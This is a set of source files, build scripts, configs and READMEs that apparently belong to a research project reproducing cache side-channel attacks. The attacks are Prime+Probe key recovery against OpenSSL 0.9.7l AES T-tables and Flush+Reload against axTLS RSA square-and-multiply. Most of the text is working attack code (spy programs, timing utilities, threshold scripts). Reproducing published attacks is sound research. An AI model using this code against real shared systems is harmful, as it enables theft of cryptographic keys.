    hit_histogram[MIN(599,d)]++;
    for (size_t i = 0; i < 30; ++i);
      sched_yield();
  }
  flush(array+1024);
  for (int i = 0; i < 1*1024*1024; ++i)
  {
    size_t d = flushandreload(array+2*1024);
    miss_histogram[MIN(599,d)]++;
    for (size_t i = 0; i < 30; ++i);
      sched_yield();
  }
  size_t hit_max = 0;
  size_t hit_max_i = 0;
  size_t miss_min_i = 0;
  for (size_t i = 0; i < 600; ++i)
  {
    printf("%zu, %zu\n",hit_histogram[i],miss_histogram[i]);
  }
    //printf("%p \n", array);

  return 0;
}


text:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <assert.h>
#include "openssl/aes.h"
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include "cacheutils.h"
#include <map>

uint8_t eviction[64*1024*1024];
uint8_t* eviction_ptr;

int pagemap = -1;

uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) {
  uint64_t value;
  int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8);
  assert(got == 8);
  uint64_t page_frame_number = value & ((1ULL << 54)-1);
  return page_frame_number;
}

int get_cache_slice(uint64_t phys_addr, int bad_bit) {
  static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 };
  static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 };

  int count = sizeof(h0) / sizeof(h0[0]);
  int hash = 0;

  for (int i = 0; i < count; i++) {
    hash ^= (phys_addr >> h0[i]) & 1;
  }

  count = sizeof(h1) / sizeof(h1[0]);
  int hash1 = 0;
  for (int i = 0; i < count; i++) {
    hash1 ^= (phys_addr >> h1[i]) & 1;
  }
  return hash1 << 1 | hash;
}

__attribute__((aligned(4096))) int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) {
  // For Sandy Bridge, the bottom 17 bits determine the cache set
  // within the cache slice (or the location within a cache line).

  uint64_t mask = ((uint64_t) 1 << 17) - 1;

  return ((phys1 & mask) == (phys2 &mask) &&
          get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit));
}

int g_pagemap_fd = -1;

// Extract the physical page number from a Linux /proc/PID/pagemap entry.
uint64_t frame_number_from_pagemap(uint64_t value) {
  return value & ((1ULL << 54) - 1);
}

void init_pagemap() {
  g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
  assert(g_pagemap_fd >= 0);
}

uint64_t get_physical_addr(uint64_t virtual_addr) {

  uint64_t value;
  off_t offset = (virtual_addr / 4096) * sizeof(value);
  int got = pread(g_pagemap_fd, &value, sizeof(value), offset);
  assert(got == 8);

  // Check the "page present" flag.
  assert(value & (1ULL << 63));

  uint64_t frame_num = frame_number_from_pagemap(value);

  return (frame_num * 4096) | (virtual_addr & (4095));

}

#define ADDR_COUNT 1024

volatile uint64_t* faddrs[16][ADDR_COUNT];

// for 8 MB cache, 16 way-associativity
// #define PROBE_COUNT 15

// for 3 MB cache, 12 way- associativity
#define PROBE_COUNT 11

void pick(volatile uint64_t** addrs, int step)
{
  int found = 1;
  uint8_t* buf = (uint8_t*) addrs[0];
  uint64_t phys1 = get_physical_addr((uint64_t)buf);

  for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) {
    uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i));
    if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) {
      addrs[found] = (uint64_t*)(eviction_ptr+i);
      found++;
    }
  }
  fflush(stdout);
}

unsigned char key[] =
{
  0x98, 0x56, 0x31, 0xab, 0xe3, 0xd2, 0xb3,
  0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45,
  0xce, 0xcc, 0x4f, 0x6e, 0x9c, 0x2a, 0x15,
  0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70
};

size_t sum;
size_t scount;

int timings[16][16];

int T[4] = {TABLE0, TABLE1, TABLE2, TABLE3};

char* base;
char* probe;
char* end;

uint64_t temp;

void prime(volatile register size_t idx) // cached
{
  // for 8 MB cache, 16 way-associativity
  //for (volatile register size_t i = 1; i < PROBE_COUNT+((idx == 11 || idx == 12)?-1:0); ++i)

  // for 3 MB cache, 12 way- associativity
  for (volatile register size_t i = 1; i < PROBE_COUNT+((idx == 7 || idx == 8)?-1:0); ++i)
  {

    *faddrs[idx][i];
    *faddrs[idx][i+1];
    *faddrs[idx][i+2];
    *faddrs[idx][i];
    *faddrs[idx][i+1];
    *faddrs[idx][i+2];

  }
}

int get_max_index(int timings[], int l){
  int res = 0;
  for (int i=0; i < l; i++){
   if (timings[i] > timings[res])
     res=i;
  }
  return res;
}

FILE *fStats;

int main()
{

  int fd = open(OPENSSL "/libcrypto.so", O_RDONLY);
  size_t size = lseek(fd, 0, SEEK_END);
  if (size == 0)
    exit(-1);
  size_t map_size = size;
  if (map_size & 0xFFF != 0)
  {
    map_size |= 0xFFF;
    map_size += 1;
  }
  base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0);

  end = base + size;

  unsigned char plaintext[] =
  {
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  };
  unsigned char ciphertext[128];
  unsigned char restoredtext[128];

  printf("Key used for encryption\n");
  for (size_t j = 0; j < 16; ++j)
  {
    printf("%02x ", key[j]);
  }

  printf("\n");

  AES_KEY key_struct;

  AES_set_encrypt_key(key, 128, &key_struct);

  AES_encrypt(plaintext, ciphertext, &key_struct);

  for (size_t i = 0; i < 64*1024*1024; ++i)
    eviction[i] = i;

  for (int q = 0; q < 4; q++)
  {
     probe = base + T[q];
     maccess(probe);
  }

  init_pagemap();

  for (int q = 0; q < 4; q++) // 16
  {
    probe = base + T[q];
    faddrs[q][0] = (uint64_t*) probe;
  }

  uint64_t min_time = rdtsc();
  srand(min_time);
  sum = 0;
  size_t l = 0;

  for (size_t b =0; b < 16; ++b)
  {

    AES_encrypt(plaintext, ciphertext, &key_struct);
    sched_yield();

    for (size_t byte = 0; byte < 256; byte += 16)
    {

      unsigned char key_guess = byte;
      if (faddrs[b % 4][1] == 0)
      {
        eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[b % 4][0] & 0xFFF));
        pick(faddrs[b % 4],1);
      }

      size_t count = 0;
      for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i)
      {

        sched_yield();

        for (size_t j = 1; j < 16; ++j)
        {
          plaintext[j] = rand() % 256;
        }

        plaintext[b] = ((l * 16) + (rand() % 16)) ^ key_guess;

        AES_encrypt(plaintext, ciphertext, &key_struct);
        sched_yield();
        size_t time = rdtsc();
        prime(b % 4);
        size_t delta = rdtsc() - time;

        if (delta > THRESHOLD)
        {
          ++count;
        }

        sched_yield();
        timings[b][byte/16] = count;
        sched_yield();
      }

    }

    int tmp[16];
    for (size_t byte = 0; byte < 16; ++byte)
    {
      tmp[byte] = timings[b][byte];
    }

    int max=get_max_index(tmp,16);
    printf("%x  ", max);

  }

  printf("\n");
  for (size_t b = 0; b < 16; ++b)
  {
    for (size_t byte=0; byte < 16; ++byte)
    {
      printf("%6u ", timings[b][byte]);
    }
    printf("\n");
  }

  printf("\n");
  close(fd);
  munmap(base, map_size);
  fflush(stdout);
  return 0;
}


text:
OPENSSL="/home/ECLab/Desktop/SCA/Victims/openssl-0.9.7l"
NUMBER_OF_ENCRYPTIONS=25000
THRESHOLD=480
TABLE0 = 0x100f00
TABLE1 = 0x100700
TABLE2 = 0xfff00
TABLE3 = 0xff700


text:
# Prime+Probe Attack Implementation on AES with Half Key Recovery

Prime+Probe is Cache Side-Channel Attack that was originally proposed by Osvik et al. of the Weizmann Institute of Science, Israel in their paper entitled, Cache Attacks and Countermeasures: the Case of AES at CT-RSA in 2006. This repository contains the code for Prime+Probe attack on AES cryptosystem with half key recovery as implemented by Daniel Gruss. We have reproduced this attack in our own settings/system configuration for experiments. Implementation details are provided in the following.

## AES T-Table Implementations:

Advance Encryption Standard (AES) is widely used symmetric-key encryption algorithm standardised by National Institute of Standards and Technology in 2001.The T-table is optimisation of AES algorithm. Although it requires more memory as compared to standard algorithm, it offers superior performance in implementation. Most libraries use T-table optimisations in their implementations. Bernstein et al. in their paper Cache-timing attacks on AES have presented timing Side-Channel attacks on AES algorithm at first.

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## AES Library:

We have used 2 version of OpenSSL library, i.e., OpenSSL-0.9.7l and OpenSSL-1.0.1f. Following commands are used to compile library.

```
	./config -shared no-hw no-asm
	make
```

## Threshold Calculation:

This implantation contains a tool to generate access timings for unchanged cache set read and time read for modified cache set. Threshold is taken as average of both timing values for this implementation, Threshold varies for different machines. This tool requires gnuplot and its dependencies must be installed on machine before usage. Threshold on our specified machine is 480-cycles.

## Attack Files (spy.c):

This attack monitors first round of AES encryption. By using probabilistic method and recorded stats of caches, we are able to successfully create upper half bytes of secret key. Attack is compiled using 'make' command.

## Configurations:

This attack requires some machine specific details, you need to edit 'config' file and set it according to your machine, such as:

```
OPENSSL: Contains path of OpenSSL Library
NUMBER_OF_ENCRYPTIONS: Minimum 480, More rounds mean more accurate results

THRESHOLD: Your machine threshold.
TABLE0: AES T-Table 0 starting address
TABLE1: AES T-Table 1 starting address
TABLE2: AES T-Table 2 starting address
TABLE3: AES T-Table 3 starting address
```


text:
#ifndef CACHEUTILS_H
#define CACHEUTILS_H

#ifndef HIDEMINMAX
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
#endif

uint64_t rdtsc_nofence() {
  uint64_t a, d;
  asm volatile ("rdtsc" : "=a" (a), "=d" (d));
  a = (d<<32) | a;
  return a;
}

uint64_t rdtsc() {
  uint64_t a, d;
  asm volatile ("mfence");
  asm volatile ("rdtsc" : "=a" (a), "=d" (d));
  a = (d<<32) | a;
  asm volatile ("mfence");
  return a;
}

uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "CPUID\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "CPUID\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

void maccess(void* p)
{
  asm volatile ("movq (%0), %%rax\n"
    :
    : "c" (p)
    : "rax");
}

void flush(void* p) {
    asm volatile ("clflush 0(%0)\n"
      :
      : "c" (p)
      : "rax");
}

void prefetch(void* p)
{
  asm volatile ("prefetcht1 %0" : : "m" (p));
}

void longnop()
{
  asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n");
}
#endif


text:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <assert.h>
#include "openssl/aes.h"
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include "cacheutils.h"
#include <map>
#include <vector>
#include <algorithm>
#include <sys/time.h>

//TIME STAMP

static struct timeval tm1;

static void timer_start()
{
    gettimeofday(&tm1, NULL);
}

static void timer_stop()
{
    struct timeval tm2;
    gettimeofday(&tm2, NULL);

    unsigned long long t = 1000 * (tm2.tv_sec - tm1.tv_sec) + (tm2.tv_usec - tm1.tv_usec) / 1000;
    printf("%llu ms\n", t);
}

// TIME STAMP END

uint8_t eviction[64*1024*1024];
uint8_t* eviction_ptr;

int pagemap = -1;

uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) {
  // Read the entry in the pagemap.
  uint64_t value;
  int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8);
  assert(got == 8);
  uint64_t page_frame_number = value & ((1ULL << 54)-1);
  return page_frame_number;
}

int get_cache_slice(uint64_t phys_addr, int bad_bit) {
  static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 };
  static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 };

  int count = sizeof(h0) / sizeof(h0[0]);
  int hash = 0;

  for (int i = 0; i < count; i++) {
    hash ^= (phys_addr >> h0[i]) & 1;
  }

  count = sizeof(h1) / sizeof(h1[0]);
  int hash1 = 0;
  for (int i = 0; i < count; i++) {
    hash1 ^= (phys_addr >> h1[i]) & 1;
  }
  return hash1 << 1 | hash;
}

__attribute__((aligned(4096))) int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) {
  // For Sandy Bridge, the bottom 17 bits determine the cache set
  // within the cache slice (or the location within a cache line).

  // mask = 0x1ffff;

  uint64_t mask = ((uint64_t) 1 << 17) - 1;

  //printf("mask: %x \n", mask);

  //printf("phys1 : %x\n", phys1);
  //printf("phys2 : %x\n", phys2);

  //printf("cache set1: %x \n", get_cache_slice(phys1, bad_bit));
  //printf("cache set2: %x \n", get_cache_slice(phys2, bad_bit));

  //printf("phys1M : %x\n", phys1 & mask);
  //printf("phys2M : %x\n", phys2 & mask);

  return ((phys1 & mask) == (phys2 &mask) &&
          get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit));
}

int g_pagemap_fd = -1;

// Extract the physical page number from a Linux /proc/PID/pagemap entry.
uint64_t frame_number_from_pagemap(uint64_t value) {
  return value & ((1ULL << 54) - 1);
}

void init_pagemap() {
  g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
  assert(g_pagemap_fd >= 0);
}

uint64_t get_physical_addr(uint64_t virtual_addr) {

  //printf("virtual_addr: %x \n", virtual_addr);

  uint64_t value;
  //printf("sizeOf: %d \n", sizeof(value));
  off_t offset = (virtual_addr / 4096) * sizeof(value);
  //printf("offset: %x \n", offset);
  int got = pread(g_pagemap_fd, &value, sizeof(value), offset);
  //printf("got: %d \n", got);
  assert(got == 8);

  // Check the "page present" flag.
  assert(value & (1ULL << 63));
  //printf("value: %x\n", value);

  uint64_t frame_num = frame_number_from_pagemap(value);

  //printf("frame_num %x \n", frame_num);

  return (frame_num * 4096) | (virtual_addr & (4095));

}

#define ADDR_COUNT 1024

volatile uint64_t* faddrs[16][ADDR_COUNT];

// for 8 MB cache, 16 way-associativity
// #define PROBE_COUNT 15

// for 3 MB cache, 12 way- associativity
#define PROBE_COUNT 11

void pick(volatile uint64_t** addrs, int step)
{
  int found = 1;
  uint8_t* buf = (uint8_t*) addrs[0];
  uint64_t phys1 = get_physical_addr((uint64_t)buf);
  //printf("%zx -> %zx\n",(uint64_t) buf, phys1);
  for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) {
    uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i));
    if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) {
      addrs[found] = (uint64_t*)(eviction_ptr+i);
      //printf("%zx -> %zx\n",(uint64_t) eviction_ptr+i, phys2);
      //*(addrs[found-1]) = addrs[found];
      found++;
    }
  }
  fflush(stdout);
}

unsigned char key[] =
{
  0xc0, 0xf0, 0xa0, 0x60, 0x20, 0x10, 0x40, 0x80,
  0xb0, 0xc0, 0xe0, 0x20, 0x80, 0xa0, 0x20, 0x10,
//  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
//  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
  //0x98, 0x56, 0x31, 0xab, 0xe3, 0xd2, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c,
  //0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80
};

size_t sum;
size_t scount;

//std::map<char*, std::map<size_t, size_t> > timings;

int timings[16][16];

int T[4] = {TABLE0, TABLE1, TABLE2, TABLE3};
//int T[4] = {0x100f00, 0x100700, 0xfff00, 0xff700};

char* base;
char* probe;
char* end;

uint64_t temp;

void prime(volatile register size_t idx) // cached
{
  // for 8 MB cache, 16 way-associativity
  //for (volatile register size_t i = 1; i < PROBE_COUNT+((idx == 11 || idx == 12)?-1:0); ++i)

  // for 3 MB cache, 12 way- associativity
  for (volatile register size_t i = 1; i < PROBE_COUNT+((idx == 7 || idx == 8)?-1:0); ++i)
  {

    *faddrs[idx][i];
    *faddrs[idx][i+1];
    *faddrs[idx][i+2];
    *faddrs[idx][i];
    *faddrs[idx][i+1];
    *faddrs[idx][i+2];

  }
}

int get_max_index(int timings[], int l){
  int res = 0;
  for (int i=0; i < l; i++){
   if (timings[i] > timings[res])
     res=i;
  }
  return res;
}

FILE *fStats;

int main()
{

  int ud = 0;
  fStats = fopen("values.dat","a+");

  int fd = open(OPENSSL "/libcrypto.so", O_RDONLY);
  size_t size = lseek(fd, 0, SEEK_END);
  if (size == 0)
    exit(-1);
  size_t map_size = size;
  if (map_size & 0xFFF != 0)
  {
    map_size |= 0xFFF;
    map_size += 1;
  }
  base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0);

  end = base + size;

  unsigned char plaintext[] =
  {
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  };
  unsigned char ciphertext[128];
  unsigned char restoredtext[128];

  printf("Key used for encryption\n");
  for (size_t j = 0; j < 16; ++j){ //randomize the key for encryption
          //key[j] = rand() % 256;
    printf("%02x ", key[j]);
  }

  printf("\n");

  AES_KEY key_struct;

  AES_set_encrypt_key(key, 128, &key_struct);

  AES_encrypt(plaintext, ciphertext, &key_struct);

  for (size_t i = 0; i < 64*1024*1024; ++i)
    eviction[i] = i;

  for (int q = 0; q < 4; q++){ // 16   }
     probe = base + T[q];
     maccess(probe);
  }

  //printf("init pm\n");
  init_pagemap();

  for (int q = 0; q < 4; q++) // 16
  {
    probe = base + T[q];
    faddrs[q][0] = (uint64_t*) probe;
  }

  uint64_t min_time = rdtsc();
  srand(min_time);
  sum = 0;
  size_t l = 0;
timer_start();
  for (size_t b =0; b < 16; ++b){ // the b-th byte // b < 16

    AES_encrypt(plaintext, ciphertext, &key_struct);
    sched_yield();

    for (size_t byte = 0; byte < 256; byte += 16)
    {

      unsigned char key_guess = byte;

      if (faddrs[b % 4][1] == 0)
      {
        eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[b % 4][0] & 0xFFF));
        pick(faddrs[b % 4],1);
      }

      size_t count = 0;
      for (size_t i = 0; i < 200; ++i)
      {

        sched_yield();

        for (size_t j = 1; j < 16; ++j){
          plaintext[j] = rand() % 256;
        }

        plaintext[b] = ((l * 16) + (rand() % 16)) ^ key_guess;

        AES_encrypt(plaintext, ciphertext, &key_struct);
        sched_yield();
        size_t time = rdtsc();
        prime(b % 4);
        size_t delta = rdtsc() - time;

        //printf("%ld \n", delta);
        if (delta > 480){
          ++count;

	  if(ud){
	  	fprintf(fStats, "%zu\n", delta);
		ud = 0;
	  }

        }else{

	  if(!ud){
	  	fprintf(fStats, "%zu, ", delta);
		ud = 1;
	  }

	}

        sched_yield();
        timings[b][byte/16] = count;
        sched_yield();
      }

    }

    int tmp[16];
    for (size_t byte = 0; byte < 16; ++byte){

      tmp[byte] = timings[b][byte];

    }
    int max=get_max_index(tmp,16);
    printf("%x  ", max);

  }

  printf("\n");
  for (size_t b = 0; b < 16; ++b)
  {
    //printf("%p", (void*) (ait.first - base));
    for (size_t byte=0; byte < 16; ++byte)
    {
      printf("%6u ", timings[b][byte]);
    }
    printf("\n");
  }

  fclose(fStats);
  printf("\n");
  timer_stop();
  close(fd);
  munmap(base, map_size);
  fflush(stdout);
  return 0;
}


text:
clear
reset
set key off
set border 3
set auto

set xrange[0:1000]
set xtics 100

# Make some suitable labels.
set title "Prime+Probe Threshold" font ",18"
set xlabel "Cycles" font ",18"
set ylabel "Samples" font ",18"

set terminal png enhanced font "arial 14" size 1200, 800
ft="png"
# Set the output-file name.
set output "threshold.png"

set style histogram clustered gap 1
set style fill solid border -1

binwidth=5
set boxwidth binwidth
bin(x,width)=width*floor(x/width) + binwidth/2.0

plot 'values.dat' using (bin($1,binwidth)):0 smooth freq with boxes lc "red", 'values.dat' using (bin($2,binwidth)):0 smooth freq with boxes lc "red"


text:
include config
export

LD_LIBRARY_PATH = $(OPENSSL)

all: clean spy
clean:
	rm -f *.o spy
spy: spy.cpp cacheutils.h
	g++ -DOPENSSL=\"$(OPENSSL)\" -DTABLE0=$(TABLE0) -DTABLE1=$(TABLE1) -DTABLE2=$(TABLE2) -DTABLE3=$(TABLE3) -std=gnu++11 -O0 -o $@ $< -I$(OPENSSL)/include -L$(OPENSSL) -lcrypto -Wl,-rpath=$(OPENSSL)


text:
rm -f values.dat
./spy > /dev/null 2>&1
gnuplot threshold.gnuplot


text:
OPENSSL="/home/eclab/Desktop/SCA/Victims/openssl-0.9.7l"
TABLE0 = 0x100f00
TABLE1 = 0x100700
TABLE2 = 0xfff00
TABLE3 = 0xff700


text: ### This repository contains source code and experimental data of cache-based side-channel attacks on RSA algorithm.


text:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <dlfcn.h>
#include <stdarg.h>
#include <signal.h>

#define LIBCRYPTO_SQUARE_FUNCTION "bi_square"
#define LIBCRYPTO_MULTIPLY_FUNCTION "bi_terminate"
#define LIBCRYPTO_BARRETT_FUNCTION "bi_subtract"

#define RESULTS_SIZE 1024*1024

unsigned char *results;
pthread_mutex_t stopMutex;
int stop_probing = 0;

/* utils functions */
static void error(const char * format, ...) {
	va_list myargs;
	va_start(myargs, format);
	printf("[\033[31;1m!\033[0m] ");
	vprintf(format, myargs);
	printf("\n");
	exit(1);
}
static void info(const char * format, ...) {
	va_list myargs;
	va_start(myargs, format);
	printf("[\033[34;1m-\033[0m] ");
	vprintf(format, myargs);
	printf("\n");
}
static void ok(const char * format, ...) {
	va_list myargs;
	va_start(myargs, format);
	printf("[\033[32;1m+\033[0m] ");
	vprintf(format, myargs);
	printf("\n");
}

/* FLUSH + RELOAD probe function */
int probe(void *addr) {
	volatile unsigned long time;
	asm __volatile__ (
		" mfence \n"
		" lfence \n"
		" rdtsc \n"
		" lfence \n"
		" movl %%eax, %%esi \n"
		" movl (%1), %%eax \n"
		" lfence \n"
		" rdtsc \n"
		" subl %%esi, %%eax \n"
		" clflush 0(%1) \n"
		: "=a" (time)
		: "c" (addr)
		: "%esi", "%edx");
	if ( time < THRESHOLD ) {
		return 1;
	}
	return 0;
}

/* Probing thread */
void *probe_thread(void *arg) {
	char *dl_error;
	void *library = dlopen(AXTLSLIB, RTLD_NOW);
	if (!library) {
		error("dlopen failed: %s",dl_error);
	}
	void * square_addr = dlsym(library, LIBCRYPTO_SQUARE_FUNCTION);
	if ((dl_error = dlerror()) != NULL)  {
		error("error in dlsym : %s",dl_error);
	}
	void * multiply_addr = dlsym(library, LIBCRYPTO_MULTIPLY_FUNCTION);
	if ((dl_error = dlerror()) != NULL)  {
		error("error in dlsym : %s",dl_error);
	}
	void * bi_barrett_addr = dlsym(library, LIBCRYPTO_BARRETT_FUNCTION);
	if ((dl_error = dlerror()) != NULL)  {
		error("error in dlsym : %s",dl_error);
	}

	square_addr   += LIBCRYPTO_SQUARE_OFFSET;
	multiply_addr += LIBCRYPTO_MULTIPLY_OFFSET;
	bi_barrett_addr += LIBCRYPTO_BARRETT_OFFSET;
	memset(results,0,RESULTS_SIZE);

	info("probe_thread started");
	info("LIB is at      %p",library);
	info("square is at   %p",square_addr);
	info("multiply is at %p",multiply_addr);
	info("barrett is at  %p",bi_barrett_addr);

	int pos=0;
	while(1) {
		pthread_mutex_lock(&stopMutex);
		if ( stop_probing ) {
			break;
		}
		pthread_mutex_unlock(&stopMutex);
		int square = probe(square_addr);
		int multiply = probe(multiply_addr);
		int barrett = probe(bi_barrett_addr);
		if(square){
			results[pos]='S';
			pos++;
		}else if(barrett){
			results[pos]='\n';
			pos++;
		}else if(multiply) {
			results[pos]='M';
			pos++;
		}

		if(pos >= RESULTS_SIZE) {
			error("Need more space in results");
			break;
		}
	}
	info("Results len : %d",pos);
	pthread_exit(NULL);
}

int main(int argc, char **argv) {
	if (argc != 3) {
		error("usage:  client <IP address> <port>");
	}

	/* Prepare the result buffer */
	results = (unsigned char *)malloc(RESULTS_SIZE);
	if ( results == NULL ) {
		error("Error in malloc !");
	}

	/* Start the probing thread */
	pthread_t probe_t;
	if(pthread_create(&probe_t, NULL, probe_thread, NULL) == -1) {
		error("can't create probe thread");
	}

	/* Request HTTPS page from the vulnerable web server */
	// TODO : use curl C lib, but later .... (or never)
	char * cmd = (char *)malloc(256*sizeof(char));
	sprintf(cmd,"wget https://%s:%s --no-check-certificate -q -O /dev/null",argv[1],argv[2]);
	system(cmd);

	/* Stop the probing thread */
	pthread_mutex_lock(&stopMutex);
	stop_probing = 1;
	pthread_mutex_unlock(&stopMutex);
	pthread_cancel(probe_t);

	/* Write results (usefull for graph) */
	int result_fd = open("./results.bin",O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);
	if (result_fd < 0 ) {
		error("Cannot open output file for writting");
	}
	write(result_fd,results,strlen(results));
	close(result_fd);

	/* resolv SQUARE & MULTIPLY from the results */
	int i,square_hits,multiply_hits;
	square_hits=multiply_hits=0;
	char key [6000]={0};
	char xor_key [6000]={0};

    char orignal_key[1023];
    strcpy(orignal_key, ORIGINALKEY);

	int pos=0;
	int last_hit_square=0;
	for(i=0; i < strlen(results); i++)
	{
		if(results[i] == ' ')
		{
			continue;
		}
		if(results[i] == '\n')
		{
			if(square_hits > SQUARE_HIT)
			{
				if (last_hit_square == 1)
				{
					key[pos++]='0';
					last_hit_square=0;
				}
				last_hit_square=1;
				multiply_hits=0;
			}
			else if(multiply_hits > MUTLIPLE_HIT)
			{
				if (last_hit_square == 1)
				{
					key[pos++]='1';
					last_hit_square=0;
				}
			}
			square_hits=0;
			multiply_hits=0;
		}
		else if(results[i] == 'S')
		{
			square_hits++;
		}
		else if(results[i] == 'M')
		{
			multiply_hits++;
		}
	}
	int ii;
	ok("Retrieved KEY :\n 1%s",key);
	printf("\n Length of Retrieved Key = %d",pos);

    printf("\n Original KEY :\n %s \n",orignal_key);

	for(ii=0; ii < pos ; ii++)
	{
		if (key[ii] == orignal_key[ii])
			xor_key[ii] = '0';
		else
			xor_key[ii] = '1';
	}

	printf("\n XOR KEY :\n %s \n",xor_key);
	return 0;
}


text:
for i in {1..20}
do
   ./spy 127.0.0.1 8443
done


text:
include config
export

all: clean spy
clean:
	rm -f *.o spy
spy: spy.c
	gcc -DAXTLSLIB=\"$(AXTLSLIB)\" -DORIGINALKEY=\"$(ORIGINALKEY)\" -DLIBCRYPTO_SQUARE_OFFSET=$(LIBCRYPTO_SQUARE_OFFSET) -DLIBCRYPTO_MULTIPLY_OFFSET=$(LIBCRYPTO_MULTIPLY_OFFSET) -DLIBCRYPTO_BARRETT_OFFSET=$(LIBCRYPTO_BARRETT_OFFSET) -DTHRESHOLD=$(THRESHOLD) -DSQUARE_HIT=$(SQUARE_HIT) -DMUTLIPLE_HIT=$(MUTLIPLE_HIT) -o $@ $< -ldl -lpthread


text:
# Flush+Reload Attack on RSA (square and multiple algorithm).

Flush+Reload is Cache Side-Channel Attack that was originally proposed by Yuval Yarom and Katrina Falkner of the The University of Adelaide in their paper entitled, Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack at 23rd USENIX Security Symposium in 2014. This repository contains the code for Flush+Reload attack on Square and Multiple algorithm of RSA as explained by Yuval Yarom in his research paper. Base code is taken from github repo [polymorf/misc-cache-attacks]. We have reproduced this attack in our own settings/system configuration for experiments. Implementation details are provided in the following.

## RSA & Square and Multiple Algorithm:

Rivest–Shamir–Adleman (RSA) is fist and widely used public-private encryption algorithm used for security of information during transmission. Public key is used for encryption of information where a Private key is used to decrypt the ciphers into information, this asymmetric behavior made RSA one of most used algorithm on internet. Square and multiple algorithm is implementation algorithm of RSA on softwares and used in most of available libraries including GnuPG, axTLS, etc.

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## AXTLS Library:

We have used axTLS-1.5.4 server application and configure it to use Square and Multiple algorithm for RSA encryption during serving of HTTPS requests.
Following commands are used to compile library.

```
	./make
```

